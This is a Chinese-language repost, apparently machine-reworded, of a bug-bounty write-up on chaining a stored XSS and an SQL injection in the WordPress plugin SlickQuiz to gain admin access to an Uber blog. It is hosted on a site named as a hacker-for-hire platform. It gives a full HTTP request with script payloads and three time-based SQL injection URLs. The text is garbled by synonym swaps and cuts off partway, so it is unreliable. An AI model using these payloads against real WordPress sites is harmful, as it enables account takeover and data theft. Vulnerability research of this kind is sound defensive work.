综合利用SlickQuiz两个0-Day漏洞接管Uber的WordPress网站-黑客接单平台

访客6年前黑客资讯805
本文叙述作者在参与HackerOne的H1-4420竞赛中,针对厂商Uber的某WordPress博客网站为方针,发现其内置问卷调查插件SlickQuiz最新版存在存储型XSS(CVE-2019-12517)和SQL注入(CVE-2019-12516)两个缝隙,经过对这两个缝隙的综合利用,终究获取了方针WordPress网站的管理员凭证,完成了从一般访问者到管理员的提权,作者也因而获得了“更具价值黑客”(MVH)的奖赏。以下是作者在自架WordPress上对缝隙的检验共享。 SlickQuiz问卷成果保存处存在Stored XSS(CVE-2019-12517) 在对插件SlickQuiz的源码审计中,我发现其在保存问卷成果时存在的多个显着存储型XSS,重要的是:不管“Save user scores”(保存用户成果)的选项是否敞开(默许禁用),只需有问卷检验发问呈现就足以触发这种存储型XSS,因为“Save user scores”仅仅仅前端显现的一个敞开选项。 问题出在php/slickquiz-scores.php中的generate_score_row()办法函数上(38-52行),前端用户问卷检验答案等相关回来给SlickQuiz的信息,未经恰当的编码和过滤验证。以下为 generate_score_row()函数代码: function generate_score_row( $score ) { $scoreRow = ''; $scoreRow .= ''; $scoreRow .= '' . $score->id . ''; $scoreRow .= '' . $score->name . ''; $scoreRow .= '' . $score->email . ''; $scoreRow .= '' . $score->score . ''; $scoreRow .= '' . $score->createdDate . ''; $scoreRow .= '' . $this->get_score_actions( $score->id ) . ''; $scoreRow .= ''; return $scoreRow; } 因为用户名$score->name、邮件$score->email和分数$score->score都是前端用户可控的,所以前端用户结构以下这种恳求,就可让后台管理员触发XSS完成: POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 165 DNT: 1 Connection: close action=save_quiz_score&json={"name":"xssscript>alert(1)script>","email":"test@localhostscript>alert(2)script>","score":"script>alert(3)script>","quiz_id":1} 任何具有SlickQuiz管理权限的管理员,只需在后台查看了用户成果分数之后,就会触发结构恳求中的Payload: 这个缝隙现已能十分阐明问题了,但我觉得或许还有更多缝隙存在。 SlickQuiz包括id参数的恳求存在SQL注入缝隙(CVE-2019-12516) 经我研讨发现,SlickQuiz插件只需有id参数呈现的恳求中,简直都会存在SQL注入缝隙,如结构以下5秒推迟,包括id参数的三个恳求: /wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a) /wp-admin/admin.php?page=slickquiz-edit&id=(select*from(select(sleep(5)))a) /wp-admin/admin.php?page=slickquiz-preview&id=(select*from(select(sleep(5)))a) 经检验显现,它们都会呈现5秒推迟: [1][2]黑客接单网

相关文章

大论帝国cms的安全性

帝国cms服务器网站目录安全设置经历内容仅供参考,假如您在修正具体问题时有疑问主张能够在文章下面具体咨询,体系114网将极力供给协助。一起假如你有好的经历,欢迎投稿共享给广阔网友。   1、目录权限...

东西引荐:Raptor WAF,轻量级WEB使用防火墙

  Raptor是一款选用C言语编写的WEB运用防火墙,运用DFA来阻挠SQL注入、Xss目录遍历等进犯。 编译&装置 $ git clone https://github.com/Cool...

由此次阿里云事情谈粗犷的安全防护手法

 昨日阿里接连爆出了两个有意思的事情,一是阿里云服务器呈现毛病,导致误删除了许多用户文件( http://www.weibo.com/1747505067/CyvEkrxPS );二是阿里供认下一年校...

实例解说False盲注根底原理

0×01 前语 false盲注有些时分能够绕过一些WAF,也是简略被忽视的细节。本文的意图在于经过做CTF的一起来学习注入原理,一起也运用到本身的才能。这儿仅仅简略说一些我自己的了解,或许网上有更好的...

利用PHP解析字符串函数parse_str的特性来绕过IDS、IPS和WAF-黑客接单平台

众所周知,PHP将查询字符串(在URL或正文中)转换为$_GET或$_POST中的相关数组。例如:/ ?foo=bar被转换为Array([foo] => "bar")。查询字符串解析进程运用下...

SP eric靶机通关攻略-黑客接单平台

咱们好,今日给咱们带来的靶机是SP eric,这个靶机有两个flag,咱们的方针便是把它们都找出来,flag的方位现已供给,如下: · /root/flag.txt · /root/eric/flag...